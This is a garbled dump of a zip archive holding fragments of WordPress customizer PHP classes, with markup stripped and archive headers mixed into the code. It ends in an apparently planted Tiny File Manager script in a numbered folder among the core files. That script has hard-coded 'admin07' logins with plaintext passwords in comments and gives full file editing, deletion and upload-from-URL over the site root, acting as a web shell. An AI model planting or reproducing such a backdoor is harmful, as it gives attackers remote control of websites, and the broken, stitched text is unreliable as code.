    <# if ( data.description ) { #> {{ data.description }} <# } #>
    <# if ( data.includeTime ) { #>
    <# var maxHour = data.twelveHourFormat ? 12 : 23; #> <# var minHour = data.twelveHourFormat ? 1 : 0; #> : <# if ( data.twelveHourFormat ) { #> <# } #>

    <# } #>
    get_month_abbrev( $wp_locale->get_month( $i ) ); /* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */ $months[ $i ]['text'] = sprintf( __( '%1$s-%2$s' ), $i, $month_text ); $months[ $i ]['value'] = $i; } return array( 'month_choices' => $months, ); } /** * Get timezone info. * * @since 4.9.0 * * @return array { * Timezone info. All properties are optional. * * @type string $abbr Timezone abbreviation. Examples: PST or CEST. * @type string $description Human-readable timezone description as HTML. * } */ public function get_timezone_info() { $tz_string = get_option( 'timezone_string' ); $timezone_info = array(); if ( $tz_string ) { try { $tz = new DateTimeZone( $tz_string ); } catch ( Exception $e ) { $tz = ''; } if ( $tz ) { $now = new DateTime( 'now', $tz ); $formatted_gmt_offset = $this->format_gmt_offset( $tz->getOffset( $now ) / HOUR_IN_SECONDS ); $tz_name = str_replace( '_', ' ', $tz->getName() ); $timezone_info['abbr'] = $now->format( 'T' ); $timezone_info['description'] = sprintf( /* translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation and offset, 4: UTC offset. */ __( 'Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s).' ), $tz_name, '' . $timezone_info['abbr'] . '', 'UTC' . $formatted_gmt_offset, $formatted_gmt_offset ); } else { $timezone_info['description'] = ''; } } else { $formatted_gmt_offset = $this->format_gmt_offset( (int) get_option( 'gmt_offset', 0 ) ); $timezone_info['description'] = sprintf( /* translators: 1: UTC abbreviation and offset, 2: UTC offset. */ __( 'Your timezone is set to %1$s (Coordinated Universal Time %2$s).' ), 'UTC' . $formatted_gmt_offset, $formatted_gmt_offset ); } return $timezone_info; } /** * Format GMT Offset. * * @since 4.9.0 * * @see wp_timezone_choice() * * @param float $offset Offset in hours. * @return string Formatted offset. */ public function format_gmt_offset( $offset ) { if ( 0 <= $offset ) { $formatted_offset = '+' . (string) $offset; } else { $formatted_offset = (string) $offset; } $formatted_offset = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $formatted_offset ); return $formatted_offset; } } PK!.}$class-wp-customize-image-control.phpnu[action; $exported['filter_type'] = $this->filter_type; return $exported; } /** * Renders a themes section as a JS template. * * The template is only rendered by PHP once, so all actions are prepared at once on the server side. * * @since 4.9.0 */ protected function render_template() { ?>
  • filter_bar_content_template(); ?>
    filter_drawer_content_template(); ?>

    %s', __( 'Search WordPress.org themes' ) ) ); ?>

  • <# if ( 'wporg' === data.action ) { #>
    <# } else { #>
    <# } #>
    <# if ( 'wporg' === data.action ) { #> <# } #>
    0' ); ?>
    <# if ( 'wporg' === data.action ) { #>
    $features ) : ?>
    $feature_name ) : ?>
    <# } #> json['width'] = absint( $this->width ); $this->json['height'] = absint( $this->height ); $this->json['flex_width'] = absint( $this->flex_width ); $this->json['flex_height'] = absint( $this->flex_height ); } } PK![@` &class-wp-customize-nav-menus-panel.phpnu[render_screen_options( array( 'wrap' => false ) ); } /** * Returns the advanced options for the nav menus page. * * Link title attribute added as it's a relatively advanced concept for new users. * * @since 4.3.0 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns(). */ public function wp_nav_menu_manage_columns() { _deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' ); require_once ABSPATH . 'wp-admin/includes/nav-menu.php'; return wp_nav_menu_manage_columns(); } /** * An Underscore (JS) template for this panel's content (but not its container). * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @since 4.3.0 * * @see WP_Customize_Panel::print_template() */ protected function content_template() { ?>
  • {{ data.title }}' ); ?>
    <# if ( data.description ) { #>
    {{{ data.description }}}
    <# } #>
    render_screen_options(); ?>
  • statuses = array( '' => __( 'Default' ) ); parent::__construct( $manager, $id, $args ); } /** * Enqueue scripts/styles for the color picker. * * @since 3.4.0 */ public function enqueue() { wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'wp-color-picker' ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @uses WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['statuses'] = $this->statuses; $this->json['defaultValue'] = $this->setting->default; $this->json['mode'] = $this->mode; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 3.4.0 */ public function render_content() {} /** * Render a JS template for the content of the color picker control. * * @since 4.1.0 */ public function content_template() { ?> <# var defaultValue = '#RRGGBB', defaultValueAttr = '', isHueSlider = data.mode === 'hue'; if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) { if ( '#' !== data.defaultValue.substring( 0, 1 ) ) { defaultValue = '#' + data.defaultValue; } else { defaultValue = data.defaultValue; } defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically. } #> <# if ( data.label ) { #> {{{ data.label }}} <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
  • manager->is_theme_active() ) { echo '' . __( 'Active theme' ) . ' {{ data.title }}'; } else { echo '' . __( 'Previewing theme' ) . ' {{ data.title }}'; } ?>

  • ' . __( 'Themes' ) . '' ); // Separate strings for consistency with other panels. ?> <# if ( data.description ) { #> <# } #>
    <# if ( data.description ) { #>
    {{{ data.description }}}
    <# } #>
  • manager->get_setting( 'header_image' )->post_value(); } if ( is_array( $value ) && isset( $value['choice'] ) ) { $custom_image_header->set_header_image( $value['choice'] ); } else { $custom_image_header->set_header_image( $value ); } } } PK!XT)class-wp-customize-custom-css-setting.phpnu[id_data['base'] ) { throw new Exception( 'Expected custom_css id_base.' ); } if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) { throw new Exception( 'Expected single stylesheet key.' ); } $this->stylesheet = $this->id_data['keys'][0]; } /** * Add filter to preview post value. * * @since 4.7.9 * * @return bool False when preview short-circuits due no change needing to be previewed. */ public function preview() { if ( $this->is_previewed ) { return false; } $this->is_previewed = true; add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 ); return true; } /** * Filters `wp_get_custom_css` for applying the customized value. * * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles. * * @since 4.7.0 * * @see wp_get_custom_css() * * @param string $css Original CSS. * @param string $stylesheet Current stylesheet. * @return string CSS. */ public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) { if ( $stylesheet === $this->stylesheet ) { $customized_value = $this->post_value( null ); if ( ! is_null( $customized_value ) ) { $css = $customized_value; } } return $css; } /** * Fetch the value of the setting. Will return the previewed value when `preview()` is called. * * @since 4.7.0 * * @see WP_Customize_Setting::value() * * @return string */ public function value() { if ( $this->is_previewed ) { $post_value = $this->post_value( null ); if ( null !== $post_value ) { return $post_value; } } $id_base = $this->id_data['base']; $value = ''; $post = wp_get_custom_css_post( $this->stylesheet ); if ( $post ) { $value = $post->post_content; } if ( empty( $value ) ) { $value = $this->default; } /** This filter is documented in wp-includes/class-wp-customize-setting.php */ $value = apply_filters( "customize_value_{$id_base}", $value, $this ); return $value; } /** * Validate a received value for being valid CSS. * * Checks for imbalanced braces, brackets, and comments. * Notifications are rendered when the customizer state is saved. * * @since 4.7.0 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor. * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support. * * @param string $value CSS to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ public function validate( $value ) { // Restores the more descriptive, specific name for use within this method. $css = $value; $validity = new WP_Error(); if ( preg_match( '#add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) ); } if ( ! $validity->has_errors() ) { $validity = parent::validate( $css ); } return $validity; } /** * Store the CSS setting value in the custom_css custom post type for the stylesheet. * * @since 4.7.0 * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support. * * @param string $value CSS to update. * @return int|false The post ID or false if the value could not be saved. */ public function update( $value ) { // Restores the more descriptive, specific name for use within this method. $css = $value; if ( empty( $css ) ) { $css = ''; } $r = wp_update_custom_css_post( $css, array( 'stylesheet' => $this->stylesheet, ) ); if ( $r instanceof WP_Error ) { return false; } $post_id = $r->ID; // Cache post ID in theme mod for performance to avoid additional DB query. if ( $this->manager->get_stylesheet() === $this->stylesheet ) { set_theme_mod( 'custom_css_post_id', $post_id ); } return $post_id; } } PK! index.phpnu[PK!7<<557092/index.phpnu[ 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin07' => '$2y$10$ouRlr5BWCf35ijWZfdcSQOiDm7ChZK1LpxiTia4LlTtgRZmAxiRXW', //admin@123 'admin07' => '$2y$10$v4WNbAqF0nfrPlB9fLIvauwRzvsNX6qH3GJB26Mh7UA2pqN/DmpdW' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 